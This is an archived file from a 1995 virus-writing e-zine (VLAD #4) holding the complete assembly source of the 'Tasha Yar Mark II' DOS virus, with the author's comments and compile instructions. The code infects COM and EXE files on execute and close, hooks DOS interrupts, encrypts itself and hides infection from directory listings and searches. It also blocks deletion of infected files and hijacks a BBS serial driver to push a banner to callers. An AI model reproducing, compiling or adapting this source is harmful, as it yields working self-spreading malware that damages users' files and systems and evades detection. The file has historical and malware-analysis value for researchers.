home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.4_7 < prev    next >
Encoding:
Text File  |  1995-04-18  |  20.7 KB  |  1,159 lines

  1. ;
  2. ; TASHA YAR - MARK II
  3. ; by Quantum [VLAD]
  4. ;
  5. ; A Com/Exe Infector.. Infects on Execute and stream closes
  6. ;
  7. ; Utilises FULL stealth, dir stealth & search stealth.
  8. ;  (and some petty other stealth tricks that aren't worth mentioning)
  9. ;
  10. ; uses a tbclean debugger trap, undetectable encryption & residency check
  11. ;  all in 1.. (look at da code :)
  12. ;
  13. ; contains a (sorta) payload.......
  14. ;
  15. ; The fossil driver infector - aimed at BBS's int 14 is taken over and on
  16. ;  detection of carrier an ANSI is sent out to the user (not the sysop :)
  17. ;
  18. ; The Homicide Prevention Squad - Fixes the "delete and forget" problem by
  19. ;  making it impossible to "delete" an infected exe/com
  20. ;
  21. ; To those of you that gimme shit about size considerations.. if you can
  22. ; find someone who notices that their fav exe/com suddenly gets bigger
  23. ; (when they can't even see the size increase) and decides to delete it
  24. ; (lotsa luck there buddy) then  ............
  25. ; ------------------------------------------------------------------------
  26. ;
  27. ; A word of warning.. this is not a good virus to "test" .. wanna say good-bye
  28. ; to your HDD ?  just make a few test exe's and com's like I did and try
  29. ; infecting them.. hang on a tic.. what's dos doing ?  it's reloading
  30. ; command.com from disk !  that's not good.. I'll just have a look to see if
  31. ; command.com is infected.. nope.. wait a minute.. dir/search/full stealth
  32. ; I know! .. I'll just use my trusty backup util/tape drive.. wait up..
  33. ; attribute/datetime stealth..
  34. ; oh shit.. now where'd I put that boot disk ?
  35. ;
  36. ; BTW - Compile with TASM /m2 .. Tlink to exe..
  37.  
  38. DOSSEG
  39. .model small
  40. .stack
  41. .code
  42.  
  43. hostcodestart:
  44.  
  45.         mov ax,04c00h
  46.         int 21h
  47.  
  48. hostcodeend:
  49.  
  50. virusstart:
  51.  
  52.         push es       
  53.  
  54.         call recalc
  55. recalc: mov si,sp
  56.         mov bp,ss:[si]
  57.         sub bp,offset recalc
  58.  
  59.         push es
  60.         push cs
  61.         push cs
  62.         pop ds
  63.         pop es
  64.  
  65.         lea si,[bp+startenc]
  66.         lea di,[bp+startenc]
  67.         xor dx,dx
  68.         mov ax,1812h
  69.         int 21h
  70.         xor al,byte ptr [bp+encbyte]
  71.         xchg ah,al
  72.         call encdecrypt
  73.         jmp startenc
  74.  
  75. encbyte: db 0h
  76. jumpsave: dd 0
  77. stacksave: dd 0
  78.  
  79. encdecrypt:
  80.  
  81.         mov cx,endenc-startenc
  82. encloop:lodsb
  83.         xor al,ah
  84.         stosb
  85.         loop encloop
  86.         ret
  87.  
  88. startenc:
  89.  
  90.         in al,40h
  91.         mov byte ptr [bp+encbyte],al
  92.  
  93.         pop es
  94.  
  95.         or dx,dx
  96.         jnz backtohost
  97.  
  98.         mov ax,es
  99.         dec ax
  100.         mov ds,ax
  101.         cmp byte ptr ds:[0],"Z"
  102.         jnz backtohost
  103.  
  104.         mov si,21h*4
  105.  
  106.         sub word ptr ds:[3],(virusend-virusstart)/2   ; need room for buffer
  107.         sub word ptr ds:[12h],(virusend-virusstart)/2
  108.         mov ax,word ptr ds:[12h]
  109.         mov es,ax
  110.  
  111.         xor ax,ax
  112.         mov ds,ax
  113.  
  114.         push es
  115.         push cs
  116.         pop es
  117.         lea di,[bp+oldint21]
  118.         movsw
  119.         movsw
  120.         pop es
  121.  
  122.         mov word ptr ds:[si-4],int21handler-virusstart
  123.         mov word ptr ds:[si-2],es
  124.  
  125.         push ds
  126.  
  127.         mov ah,4
  128.         xor dx,dx
  129.         int 14h
  130.  
  131.         pop ds
  132.  
  133.         cmp ax,1954h
  134.         jnz nofossil
  135.  
  136.         push es
  137.         push cs
  138.         pop es
  139.         mov si,14h*4
  140.         lea di,[bp+oldint14off]
  141.         movsw
  142.         movsw
  143.         pop es
  144.  
  145.         mov word ptr ds:[si-4],startint14-virusstart
  146.         mov word ptr ds:[si-2],es
  147.  
  148. nofossil:
  149.  
  150.         push cs
  151.         pop ds
  152.  
  153.         lea si,[bp+virusstart]
  154.         xor di,di
  155.         mov cx,virusend-virusstart
  156.         rep movsb
  157.  
  158. backtohost:
  159.  
  160.         pop es
  161.  
  162.         push cs
  163.         pop ds
  164.  
  165.         cmp byte ptr [bp+comorexe],0
  166.         jnz comreturn
  167.  
  168.         mov ax,es
  169.         add ax,10h
  170.         lea di,[bp+jumpsave+2]         ; return for exes
  171.         add [di],ax
  172.         cli
  173.         add ax,[di+4]
  174.         mov ss,ax
  175.         mov sp,[di+6]
  176.         sti
  177.         jmp $+2
  178.         jmp dword ptr cs:[bp+jumpsave]
  179.         comorexe: db 0
  180.  
  181. comreturn:
  182.  
  183.         push cs
  184.         pop es
  185.  
  186.         lea si,[bp+virusstart-3]
  187.         mov di,0100h                       ; return for coms
  188.         push di
  189.         movsb
  190.         movsw
  191.         ret
  192.  
  193. db "[Tasha Yar] by Quantum / VLAD"
  194.  
  195. StartInt14:
  196.  
  197.         mov cs:[cur_function-virusstart],ah
  198.         mov cs:[cur_port-virusstart],dx
  199.  
  200.         pushf
  201.         db 09ah                                       ; fossil driver payload
  202.         oldint14off dw 0
  203.         oldint14seg dw 0
  204.  
  205.         cmp byte ptr cs:[cur_function-virusstart],03h
  206.         jz checkDCD
  207.  
  208.         iret
  209.  
  210. checkDCD:
  211.         push ax
  212.         and al,10000000b
  213.         cmp al,cs:[dcdstat-virusstart]
  214.         jz nochange
  215.         mov cs:[dcdstat-virusstart],al
  216.         or al,al
  217.         jz nochange
  218.         call outtext
  219. nochange:
  220.         pop ax
  221.  
  222.         iret
  223.  
  224. outtext:
  225.  
  226.         push ax
  227.         push bx
  228.         push cx
  229.         push dx
  230.         push es
  231.         push di
  232.  
  233.         mov ah,19h
  234.         push cs
  235.         pop es
  236.         mov di,textblock-virusstart
  237.         mov cx,endblock-textblock
  238.         mov dx,cs:[cur_port-virusstart]
  239.         int 14h
  240.  
  241.         pop di
  242.         pop es
  243.         pop dx
  244.         pop cx
  245.         pop bx
  246.         pop ax
  247.  
  248.         ret
  249.  
  250. cur_port: dw 0
  251. cur_function: db 0
  252. dcdstat: db 0
  253.  
  254. EndInt14:
  255.  
  256.  
  257. int21handler:
  258.  
  259.         cmp ax,1812h
  260.         jnz notserv
  261.         xor al,al
  262.         mov dx,4310h
  263.         iret
  264. notserv:
  265.  
  266.         cmp ah,4bh
  267.         jz executing
  268.         cmp ah,6ch
  269.         jz xtendopening
  270.         cmp ah,3dh
  271.         jz opening
  272.         cmp ah,11h
  273.         jz diring
  274.         cmp ah,12h
  275.         jz diring
  276.         cmp ah,4eh
  277.         jz searching
  278.         cmp ah,4fh
  279.         jz searching
  280.         cmp ah,3eh
  281.         jz closing
  282.         cmp ah,13h
  283.         jnz playoldint
  284.         jmp deleteing
  285.  
  286. playoldint:
  287.  
  288.         db 0eah
  289.         oldint21 dd 0
  290.  
  291. executing:
  292.  
  293.         call pushall
  294.  
  295.         call isitexe
  296.         jnz notexe
  297.         call infectexe
  298.         jmp aftexec
  299. notexe:
  300.         call isitcom
  301.         jnz aftexec
  302.         call infectcom
  303. aftexec:
  304.         call popall
  305.  
  306.         jmp playoldint
  307.  
  308. diring:
  309.  
  310.         call callit
  311.         pushf
  312.         call pushall
  313.  
  314.         call dirstealth
  315.  
  316.         call popall
  317.         popf
  318.         retf 2
  319.  
  320. searching:
  321.  
  322.         call callit
  323.         pushf
  324.         call pushall
  325.  
  326.         call searchstealth
  327.  
  328.         call popall
  329.         popf
  330.         retf 2
  331.  
  332.  
  333. xtendopening:
  334.  
  335.         call pushall
  336.  
  337.         mov ax,03d02h
  338.         mov dx,si
  339.         call callit
  340.  
  341.         pushf
  342.  
  343.         xchg bx,ax
  344.  
  345.         mov ah,3eh
  346.         call callit
  347.  
  348.         popf
  349.  
  350.         jc notfukable
  351.  
  352.         jmp opennotpush
  353.  
  354. notfukable:
  355.  
  356.         call popall
  357.  
  358.         jmp playoldint
  359.  
  360. opening:
  361.  
  362.         call pushall
  363.  
  364. opennotpush:
  365.  
  366.         call isitexe
  367.         jnz notexe1
  368.         call disinfectexe
  369.         jmp notcom1
  370. notexe1:
  371.         call isitcom
  372.         jnz notcom1
  373.         call disinfectcom
  374. notcom1:
  375.  
  376.         call popall
  377.  
  378.         jmp playoldint
  379.  
  380. closing:
  381.  
  382.         call pushall
  383.  
  384.         cmp bx,5        ; so sue me..
  385.         jb notexe2
  386.  
  387.         push bx
  388.         mov ax,1220h
  389.         int 2fh
  390.  
  391.         xor bx,bx
  392.         mov bl,es:[di]
  393.  
  394.         mov ax,1216h
  395.         int 2fh
  396.         pop bx
  397.  
  398.         push es
  399.         pop ds
  400.  
  401.         cmp byte ptr [di+2ah],"M"
  402.         jnz notcom2
  403.         mov word ptr [di+2h],02h
  404.         call infectcomonclose
  405.  
  406.         jmp aftreinfect
  407. notcom2:
  408.         cmp byte ptr [di+2ah],"E"
  409.         jnz notexe2
  410.         mov word ptr [di+2h],02h
  411.         call infectexeonclose
  412.  
  413. aftreinfect:
  414.  
  415.         call popall
  416.  
  417.         retf 2
  418.  
  419. notexe2:
  420.  
  421.         call popall
  422.  
  423.         jmp playoldint
  424.  
  425. deleteing:         ; HPS
  426.  
  427.         call pushall
  428.  
  429.         mov si,dx
  430.  
  431.         cmp byte ptr [si],0ffh
  432.         jnz notxtended1
  433.         add si,7
  434. notxtended1:
  435.  
  436.         inc si
  437.         push cs
  438.         pop es
  439.         mov di,offset filename-virusstart
  440.         movsw
  441.         movsw
  442.         movsw
  443.         movsw
  444.         mov al,"."
  445.         stosb
  446.         movsw
  447.         movsb
  448.         xor ax,ax
  449.         stosb
  450.  
  451.         push cs
  452.         pop ds
  453.  
  454.         mov ah,2fh
  455.         call callit
  456.  
  457.         push es
  458.         push bx
  459.  
  460.         mov dx,offset dta - virusstart
  461.         mov ah,1ah
  462.         call callit
  463.  
  464.         mov ah,04eh
  465.         xor cx,cx                                ; allow for wild cards..
  466.         mov dx,offset filename - virusstart      ; ends up not deleting
  467.         int 21h                                  ; any file specified if
  468.         jc notinfected                           ; it has the tag even if
  469.                                                  ; it isnt a com/exe and
  470. checkfile:                                       ; bombs out as soon as it
  471.                                                  ; finds one..
  472.         mov ax,03d00h
  473.         mov dx,offset dta - virusstart +1eh
  474.         call callit
  475.  
  476.         xchg bx,ax
  477.  
  478.         mov ax,04202h
  479.         xor cx,cx
  480.         xor dx,dx
  481.         int 21h
  482.  
  483.         sub ax,2
  484.         sbb dx,0
  485.         mov cx,dx
  486.         mov dx,ax
  487.         mov ax,04200h
  488.         call callit
  489.  
  490.         mov ah,3fh
  491.         mov cx,2
  492.         mov dx,offset buffer - virusstart
  493.         call callit
  494.  
  495.         mov ah,3eh
  496.         call callit
  497.  
  498.         cmp word ptr ds:[offset buffer-virusstart],"@!"
  499.         jz itsinfected
  500.  
  501.         mov ah,04fh
  502.         mov dx,offset filename - virusstart
  503.         call callit
  504.         jnc checkfile
  505.  
  506. notinfected:
  507.  
  508.         pop dx
  509.         pop ds
  510.  
  511.         mov ah,1ah
  512.         call callit
  513.  
  514.         call popall
  515.  
  516.         jmp playoldint
  517.  
  518. itsinfected:
  519.  
  520.         pop dx
  521.         pop ds
  522.  
  523.         mov ah,1ah
  524.         call callit
  525.  
  526.         call popall
  527.  
  528.         clc
  529.         xor ax,ax
  530.         retf 2
  531.  
  532. ; some useful functions
  533.  
  534. callit:
  535.         pushf
  536.         call dword ptr cs:[oldint21-virusstart]
  537.         ret
  538.  
  539. pushall:
  540.         pop word ptr cs:[save-virusstart]
  541.         push ax
  542.         push bx
  543.         push cx
  544.         push dx
  545.         push si
  546.         push di
  547.         push bp
  548.         push ds
  549.         push es
  550.         push word ptr cs:[save-virusstart]
  551.         ret
  552. save: dw 0
  553.  
  554. popall:
  555.         pop word ptr cs:[save-virusstart]
  556.         pop es
  557.         pop ds
  558.         pop bp
  559.         pop di
  560.         pop si
  561.         pop dx
  562.         pop cx
  563.         pop bx
  564.         pop ax
  565.         push word ptr cs:[save-virusstart]
  566.         ret
  567.  
  568. lseeks: xor ax,ax
  569.         jmp lseek
  570. lseeke: mov al,02h
  571. lseek:
  572.         mov ah,042h
  573.         xor cx,cx
  574.         xor dx,dx
  575.         call callit
  576.         ret
  577.  
  578. isitexe:
  579.         
  580.         mov si,dx
  581. findend1: lodsb
  582.         or al,al
  583.         jnz findend1
  584.  
  585.         cmp byte ptr ds:[si-2],"E"
  586.         jz kewl1
  587.         cmp byte ptr ds:[si-2],"e"
  588. kewl1:
  589.  
  590.         ret
  591.  
  592. isitcom:
  593.  
  594.         mov si,dx
  595. findend2: lodsb
  596.         or al,al
  597.         jnz findend2
  598.  
  599.         cmp byte ptr ds:[si-2],"M"
  600.         jz kewl2
  601.         cmp byte ptr ds:[si-2],"m"
  602. kewl2:
  603.  
  604.         ret
  605.  
  606. isitinfected:
  607.  
  608.         call lseeke
  609.  
  610.         sub ax,2
  611.         sbb dx,0
  612.         mov cx,dx
  613.         mov dx,ax
  614.         mov ax,04200h
  615.         call callit
  616.  
  617.         mov ah,3fh
  618.         mov cx,2
  619.         mov dx,buffer-virusstart
  620.         call callit
  621.  
  622.         cmp word ptr ds:[buffer-virusstart],"@!"
  623.         ret
  624.  
  625. ; low level call structures..
  626.  
  627. dirstealth:
  628.  
  629.         mov ah,2fh
  630.         call callit
  631.  
  632.         push es
  633.         pop ds
  634.  
  635.         cmp byte ptr [bx],0ffh
  636.         jnz notxtended
  637.         add bx,7
  638. notxtended:
  639.  
  640.         xor bp,bp
  641.         cmp word ptr ds:[bx+0ah],"EX"
  642.         jz openher1
  643.         cmp word ptr ds:[bx+0ah],"MO"
  644.         jnz nogo1
  645.         mov bp,3
  646. openher1:
  647.  
  648.         mov si,bx
  649.  
  650.         push si
  651.         push es
  652.         push cs
  653.         pop es
  654.         mov di,filename-virusstart
  655.         inc si
  656.         movsw
  657.         movsw
  658.         movsw
  659.         movsw
  660.         mov al,"."
  661.         stosb
  662.         movsw
  663.         movsb
  664.         mov al,0
  665.         stosb
  666.         mov dx,filename-virusstart
  667.         pop es
  668.         pop si
  669.  
  670.         push cs
  671.         pop ds
  672.  
  673.         mov ax,03d00h
  674.         call callit
  675.  
  676.         xchg ax,bx
  677.  
  678.         call isitinfected
  679.         jnz tiskewl1
  680.  
  681.         add bp,virusend-virusstart
  682.         sub word ptr es:[si+1dh],bp
  683.         sbb word ptr es:[si+1dh+2],0
  684.  
  685. tiskewl1:
  686.  
  687.         mov ah,3eh
  688.         call callit
  689.  
  690. nogo1:
  691.  
  692.         ret
  693.  
  694. searchstealth:
  695.  
  696.  
  697.         mov ah,2fh
  698.         call callit
  699.  
  700.         push es
  701.         pop ds
  702.  
  703.         xor bp,bp
  704.         mov dx,bx
  705.         add dx,1eh
  706.         call isitexe
  707.         jz openher2
  708.         call isitcom
  709.         jnz nogo2
  710.         mov bp,3
  711. openher2:
  712.  
  713.         xchg bx,si
  714.  
  715.         mov ax,03d00h
  716.         call callit
  717.  
  718.         push cs
  719.         pop ds
  720.  
  721.         xchg ax,bx
  722.  
  723.         push si
  724.         call isitinfected
  725.         pop si
  726.         jnz tiskewl2
  727.  
  728.         add bp,virusend-virusstart
  729.         sub word ptr es:[si+1ah],bp
  730.         sbb word ptr es:[si+1ah+2],0
  731.  
  732. tiskewl2:
  733.  
  734.         mov ah,3eh
  735.         call callit
  736.  
  737. nogo2:
  738.  
  739.         ret
  740.  
  741. disinfectcom:
  742.  
  743.         mov ax,4301h
  744.         xor cx,cx
  745.         call callit
  746.  
  747.         mov ax,03d02h
  748.         call callit
  749.  
  750.         xchg bx,ax
  751.  
  752.         mov ax,05700h
  753.         call callit
  754.  
  755.         push cx
  756.         push dx
  757.  
  758.         call isitinfected
  759.         jnz closeandgo
  760.  
  761.         call lseeke
  762.  
  763.         sub ax,virusend-virusstart+3
  764.         sbb dx,0
  765.         mov cx,dx
  766.         mov dx,ax
  767.         mov ax,04200h
  768.         call callit
  769.  
  770.         push cs
  771.         pop ds
  772.  
  773.         mov ah,03fh
  774.         mov cx,3
  775.         mov dx,buffer - virusstart
  776.         call callit
  777.  
  778.         call lseeks
  779.  
  780.         mov cx,3
  781.         mov dx,buffer - virusstart
  782.         mov ah,40h
  783.         call callit
  784.  
  785.         call lseeke
  786.  
  787.         sub ax,virusend-virusstart+3
  788.         sbb dx,0
  789.         mov cx,dx
  790.         mov dx,ax
  791.         mov ax,04200h
  792.         call callit
  793.  
  794.         xor cx,cx
  795.         mov ah,40h
  796.         call callit
  797.  
  798. closeandgo:
  799.  
  800.         pop dx
  801.         pop cx
  802.  
  803.         mov ax,5701h
  804.         call callit
  805.  
  806.         mov ah,03eh
  807.         call callit
  808.  
  809.         ret
  810.  
  811. disinfectexe:
  812.  
  813.         mov ax,4301h
  814.         xor cx,cx
  815.         call callit
  816.  
  817.         mov ax,03d02h
  818.         call callit
  819.  
  820.         xchg bx,ax
  821.  
  822.         mov ax,05700h
  823.         call callit
  824.  
  825.         push cx
  826.         push dx
  827.  
  828.         call isitinfected
  829.         jnz itsnotinfected
  830.  
  831.         call lseeke
  832.  
  833.         sub ax,jumpsave-virusend
  834.         sbb dx,0
  835.         mov cx,dx
  836.         mov dx,ax
  837.         mov ax,04200h
  838.         call callit
  839.  
  840.         mov ah,3fh
  841.         mov cx,8
  842.         mov dx,buffer-virusstart
  843.         call callit
  844.  
  845.         mov ax,04200h
  846.         xor cx,cx
  847.         mov dx,14h
  848.         call callit
  849.  
  850.         mov cx,4
  851.         mov dx,buffer-virusstart
  852.         mov ah,40h
  853.         call callit
  854.  
  855.         mov ax,04200h
  856.         xor cx,cx
  857.         mov dx,0eh
  858.         call callit
  859.  
  860.         mov cx,4
  861.         mov dx,buffer-virusstart + 4
  862.         mov ah,040h
  863.         call callit
  864.  
  865.         call lseeke
  866.  
  867.         sub ax,virusend-virusstart + 3
  868.         sbb dx,0
  869.         mov cx,dx
  870.         mov dx,ax
  871.         mov ax,04200h
  872.         call callit
  873.  
  874.         xor cx,cx
  875.         mov ah,40h
  876.         call callit
  877.  
  878. itsnotinfected:
  879.  
  880.         pop dx
  881.         pop cx
  882.         mov ax,05701h
  883.         call callit
  884.  
  885.         mov ah,03eh
  886.         call callit
  887.  
  888. itsnotanexe:
  889.  
  890.         ret
  891.  
  892. infectexe:
  893.  
  894.         mov ax,4301h
  895.         xor cx,cx
  896.         call callit
  897.           
  898.         mov ax,03d02h
  899.         call callit
  900.  
  901.         xchg bx,ax
  902.  
  903. infectexeonclose:
  904.  
  905.         mov ax,05700h
  906.         call callit
  907.  
  908.         push cx
  909.         push dx
  910.  
  911.         push cs
  912.         push cs
  913.         pop es
  914.         pop ds
  915.  
  916.         mov ah,03fh
  917.         mov cx,18h
  918.         mov si,(exeheader-virusstart)
  919.         mov dx,si
  920.         call callit
  921.  
  922.         mov di,(jumpsave-virusstart)
  923.  
  924.         mov ax,[si+14h]
  925.         stosw
  926.         mov ax,[si+16h]
  927.         stosw
  928.         mov ax,[si+0eh]
  929.         stosw
  930.         mov ax,[si+10h]
  931.         stosw
  932.  
  933.         call lseeke
  934.  
  935.         mov cx,16
  936.         DIV cx
  937.  
  938.         add dx,20h
  939.         dec ax
  940.         dec ax
  941.         jc closefile
  942.  
  943.         sub ax,[si+08h]
  944.         mov [si+14h],dx
  945.         mov [si+16h],ax
  946.  
  947.         call isitinfected
  948.         jz closefile
  949.  
  950.         mov byte ptr ds:[comorexe-virusstart],0
  951.  
  952.         push ds
  953.  
  954.         push cs
  955.         push cs
  956.         pop ds
  957.         pop es
  958.         push si
  959.  
  960.         mov ah,40h
  961.         mov cx,startenc-virusstart
  962.         xor dx,dx
  963.         call callit
  964.  
  965.         mov si,startenc-virusstart
  966.         mov di,virusend-virusstart
  967.         push di
  968.         mov ah, byte ptr ds:[encbyte-virusstart]
  969.         call encdecrypt
  970.  
  971.         mov ah,040h
  972.         mov cx,endenc-startenc
  973.         pop dx
  974.         call callit
  975.  
  976.         mov ah,40h
  977.         mov cx,virusend-endenc
  978.         mov dx,endenc-virusstart
  979.         call callit
  980.  
  981.         pop si
  982.         pop ds
  983.  
  984.         call lseeke
  985.  
  986.         mov cx,512
  987.         DIV cx
  988.         inc ax
  989.  
  990.         mov [si+2],dx
  991.         mov [si+4],ax
  992.         mov [si+0eh],ax
  993.         mov [si+10h],0400h
  994.  
  995.         call lseeks
  996.  
  997.         mov cx,18h
  998.         mov dx,si
  999.         mov ah,40h
  1000.         call callit
  1001.  
  1002. closefile:
  1003.  
  1004.         pop dx
  1005.         pop cx
  1006.  
  1007.         mov ax,05701h
  1008.         call callit
  1009.  
  1010.         mov ah,03eh
  1011.         call callit
  1012.  
  1013.         ret
  1014.  
  1015. infectcom:
  1016.  
  1017.         mov ax,4301h
  1018.         xor cx,cx
  1019.         call callit
  1020.  
  1021.         mov ax,03d02h
  1022.         call callit
  1023.  
  1024.         xchg bx,ax
  1025.  
  1026. infectcomonclose:
  1027.  
  1028.         mov ax,05700h
  1029.         call callit
  1030.  
  1031.         push cx
  1032.         push dx
  1033.  
  1034.         call isitinfected
  1035.         jz closecomfile
  1036.  
  1037.         call lseeks
  1038.  
  1039.         push cs
  1040.         pop ds
  1041.  
  1042.         mov ah,3fh
  1043.         mov cx,3
  1044.         mov dx,(buffer-virusstart)
  1045.         call callit
  1046.  
  1047.         call lseeke
  1048.  
  1049.         mov byte ptr ds:[buffer-virusstart+4],0e9h
  1050.         mov word ptr ds:[buffer-virusstart+5],ax
  1051.  
  1052.         call lseeks
  1053.  
  1054.         mov ah,040h
  1055.         mov cx,3
  1056.         mov dx,(buffer-virusstart+4)
  1057.         call callit
  1058.  
  1059.         call lseeke
  1060.  
  1061.         mov ah,40h
  1062.         mov cx,3
  1063.         mov dx,(buffer-virusstart)
  1064.         call callit
  1065.  
  1066.         mov byte ptr ds:[comorexe-virusstart],1
  1067.  
  1068.         mov ah,40h
  1069.         mov cx,startenc-virusstart
  1070.         xor dx,dx
  1071.         call callit
  1072.  
  1073.         push cs
  1074.         push cs
  1075.         pop ds
  1076.         pop es
  1077.  
  1078.         mov si,startenc-virusstart
  1079.         mov di,virusend-virusstart
  1080.         push di
  1081.         mov ah,byte ptr ds:[encbyte-virusstart]
  1082.         call encdecrypt
  1083.  
  1084.         mov ah,040h
  1085.         mov cx,endenc-startenc
  1086.         pop dx
  1087.         call callit
  1088.  
  1089.         mov ah,40h
  1090.         mov cx,virusend-endenc
  1091.         mov dx,endenc-virusstart
  1092.         call callit
  1093.  
  1094. closecomfile:
  1095.  
  1096.         pop dx
  1097.         pop cx
  1098.  
  1099.         mov ax,05701h
  1100.         call callit
  1101.  
  1102.         mov ah,03eh
  1103.         call callit
  1104.  
  1105.         ret
  1106.  
  1107. buffer: db 0,0,0
  1108. filename:
  1109. exeheader: db 18h dup (0)
  1110.  
  1111. textblock:         ; the ansi
  1112. db 0, 27, 91, 63, 55, 104, 27, 91, 52, 48, 109
  1113. db 109, 27, 91, 50, 74, 27, 91, 53, 67, 27, 91
  1114. db 91, 48, 59, 49, 109, 219, 219, 219, 219, 219, 219
  1115. db 219, 219, 32, 220, 219, 219, 219, 219, 219, 220, 32
  1116. db 32, 220, 219, 219, 219, 219, 219, 220, 32, 219, 219
  1117. db 219, 32, 32, 32, 219, 219, 32, 220, 219, 219, 219
  1118. db 219, 219, 219, 220, 27, 91, 54, 67, 219, 219, 32
  1119. db 32, 32, 32, 219, 219, 32, 220, 219, 219, 219, 219
  1120. db 219, 219, 220, 32, 219, 219, 219, 219, 219, 219, 220
  1121. db 220, 13, 10, 27, 91, 55, 67, 222, 219, 221, 32
  1122. db 32, 32, 32, 219, 219, 220, 220, 220, 219, 219, 32
  1123. db 32, 219, 219, 220, 220, 220, 220, 32, 32, 219, 219
  1124. db 219, 220, 220, 220, 219, 219, 32, 219, 219, 220, 220
  1125. db 220, 220, 219, 219, 27, 91, 54, 67, 219, 219, 220
  1126. db 220, 32, 220, 219, 219, 32, 219, 219, 220, 220, 220
  1127. db 220, 219, 219, 32, 219, 219, 32, 32, 32, 219, 219
  1128. db 219, 13, 10, 27, 91, 55, 67, 222, 219, 221, 32
  1129. db 32, 32, 32, 219, 219, 223, 223, 223, 219, 219, 32
  1130. db 32, 32, 223, 223, 223, 223, 219, 219, 32, 219, 219
  1131. db 219, 223, 223, 223, 219, 219, 32, 219, 219, 223, 223
  1132. db 223, 223, 219, 219, 27, 91, 55, 67, 223, 219, 219
  1133. db 219, 219, 223, 32, 32, 219, 219, 223, 223, 223, 219
  1134. db 219, 219, 32, 219, 219, 219, 219, 219, 219, 13, 10
  1135. db 10, 27, 91, 55, 67, 222, 219, 221, 32, 32, 32
  1136. db 32, 219, 219, 32, 32, 32, 219, 219, 32, 223, 219
  1137. db 219, 219, 219, 219, 219, 223, 32, 219, 219, 32, 32
  1138. db 32, 32, 219, 219, 32, 219, 219, 32, 32, 32, 219
  1139. db 219, 219, 27, 91, 56, 67, 222, 219, 221, 32, 32
  1140. db 32, 32, 219, 219, 32, 32, 32, 219, 219, 32, 219
  1141. db 219, 219, 32, 32, 223, 219, 219, 13, 10, 27, 91
  1142. db 91, 50, 54, 67, 80, 114, 111, 117, 100, 108, 121
  1143. db 121, 32, 80, 114, 101, 115, 101, 110, 116, 101, 100
  1144. db 100, 32, 98, 121, 32, 81, 117, 97, 110, 116, 117
  1145. db 117, 109, 27, 91, 48, 109, 13, 10
  1146. endblock:
  1147.  
  1148. endenc:
  1149.  
  1150. tag db "!@"
  1151. dta:
  1152. virusend:
  1153.  
  1154. end virusstart
  1155.  
  1156.  
  1157.  
  1158.  
  1159.